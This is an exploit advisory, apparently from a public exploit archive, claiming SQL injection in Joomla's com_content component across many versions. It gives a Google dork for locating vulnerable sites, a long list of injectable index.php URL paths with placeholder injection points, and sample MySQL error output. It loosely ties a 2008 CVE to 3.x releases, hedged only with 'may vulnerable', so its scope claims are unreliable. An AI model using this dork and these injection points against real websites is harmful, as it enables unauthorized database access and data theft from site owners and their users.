Joomla Content component version 3.x suffers from a remote SQL injection vulnerability.
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# Exploit Title : Joomla Content Components 3.x SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 28/02/2019
# Vendor Homepage : joomla.org
# Software Download Links :
github.com/asika32764/joomla-cmf/tree/master/administrator/components/com_content
github.com/joomlagovbr/joomla-3.x/tree/master/administrator/components/com_content
# Software Information Link : joomlart.com/documentation/purity-iii/override-joomla-com-content
docs.joomla.org/Extension_types_(general_definitions)
# Software Version : 1.x and 3.x - 3.7.4 - 3.8.3 - 3.8.4 - 3.8.10 previous/high versions may vulnerable
Compatible with Joomla 1.x - 2.x and 3.x
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/index.php?option=com_content''
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# Old CVE : CVE-2008-6923
cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6923
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
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# Description about Software :
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Joomla Content Management System.
Content (com_content) is the component which handles the display of content;
users can view at the frontend of your site and, as an administrator, you can edit the content.
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According to the CVE-2008-6923 =>
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SQL injection vulnerability in the content component (com_content) 1.0.0
for Joomla! allows remote attackers to execute arbitrary SQL commands via the
Itemid parameter in a blogcategory action to index.php.
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# Impact :
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Joomla Content Components 1.x [ and other versions may vulnerable ]
component for Joomla is prone to an SQL-injection vulnerability because it fails to sufficiently
sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access
or modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request
to the vulnerable application and execute arbitrary SQL commands in application`s database.
Further exploitation of this vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser.
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# SQL Injection Exploit :
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/index.php?option=com_content&view=article&id=[ID-NUMBER]:home&catid=[SQL Injection]
/index.php?option=com_content&view=article&id=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_content&view=article&id=[ID-NUMBER]&catid=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_content&task=view&id=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_content&view=article&id=[ID-NUMBER]&Itemid=[SQL Injection]&lang=en
/index.php?option=com_content&view=category&layout=blog&id=[ID-NUMBER]&itemid=[SQL Injection]&lang=ru
/index.php?option=com_content&task=category§ionid=&id=&Itemid=[SQL Injection]
/index.php?option=com_content&view=archive&year=[SQL Injection]
/index.php?option=com_content&task=blogcategory&id=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_content&view=article&id=[SQL Injection]%3Afrontpage&lang=en
/index.php?option=com_content&view=article&id=[ID-NUMBER]&Itemid[SQL Injection]
/index.php?option=com_content&view=frontpage&Itemid=[SQL Injection]&lang=en%20[COUNTRYNAME]
/index.php?option=com_content&task=blogcategory&id=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_content&view=category&id=[ID-NUMBER]&layout=blog&Itemid=[SQL Injection]&format=feed&type=rss
/index.php?option=com_content&view=article&id=[ID-NUMBER]%3Asupport-and-documentation&catid=[SQL Injection]%3Athe-project&lang=ro
/index.php?option=com_content&view=article&id=[ID-NUMBER]%3Abillboard&catid=[SQL Injection]%3Amib&lang=en
/index.php?option=com_content&view=section&layout=blog&id=[ID-NUMBER]&Itemid=[SQL Injection]&lang=en
/index.php?option=com_content&view=article&id=[SQL Injection]%3Aonconoticias&lang=en
/index.php?option=com_content&view=featured&lang=en&limitstart=[SQL Injection]
/index.php?option=com_content&view=article&id=[ID-NUMBER]:[FOLDER-NAME]&catid=[ID-NUMBER]:faq&Itemid=[SQL Injection]
/index.php?option=com_content&view=category&layout=blog&id=[ID-NUMBER]&Itemid=[ID-NUMBER]&limitstart=[SQL Injection]
/index.php?id=[ID-NUMBER]&catid=[ID-NUMBER]&Itemid=[ID-NUMBER]&lang=it&option=com_content&view=article%27%60(%5B%7B%5E~&jjj=[SQL Injection]
/index.php?view=article&id=[ID-NUMBER]:[ARTICLE-NAME]&tmpl=component&print=[SQL Injection]&layout=default&page=&option=com_content
/index.php?option=com_content&view=article&id=[ID-NUMBER]%3[ARTICLE-NAME]&catid=[SQL Injection]%3[ARTICLE-NAME]&lang=en
/index.php?view=article&catid=[ID-NUMBER]%3Alatest-news&id=[ID-NUMBER]%3[ARTICLE-NAME]&tmpl=component&print=[ID-NUMBER]&page=&option=com_content&Itemid=[SQL Injection]
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# Example SQL Database Error :
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You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near ':home AND `actie` = ''' at line 1
Query: SELECT id FROM pages WHERE moduleid = 1 AND subid = 47:home AND `actie` = ''
Database error:
Duplicate entry '1-47-' for key 'moduleid'
Query: INSERT INTO pages (`id`, `moduleid`, `subid`, `actie`, `template`,
`subtemplate`, `title`, `menu`, `submenu`, `meta`, `header`) VALUES
(NULL, '1', '47:home', '', 'default.php', 'default.html', '', '3', '', '', '0')
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near '' at line 6
SQL=SELECT u.id AS id, u.name AS name FROM jos_users AS u WHERE
No valid database connection You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to
use near '' at line 1 SQL=SELECT home FROM jos_menu WHERE id=
jos-Warning: exception 'RuntimeException' with message
'Unknown column 'header' in 'field list' SQL=SELECT `new_url`,`header`,`published`
FROM `phw8l_redirect_links` WHERE `old_url` =
No valid database connection You have an error in your SQL syntax; check the manual
that corresponds to your MariaDB server version for the right syntax to use near
'AND jf_content.published=1 AND jf_content.reference_id IN(1) AND jf_conten'
at line 4 SQL=SELECT @rownum:=@rownum+1 AS rownum, jf_content.
reference_field, jf_content.value, jf_content.reference_id, jf_content.original_
value FROM jos_jf_content AS jf_content, (SELECT @rownum:=-1) AS r
WHERE jf_content.language_id= AND jf_content.published=1 AND
jf_content.reference_id IN(1) AND jf_content.reference_table='modules';
DB function failed with error number 1064
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
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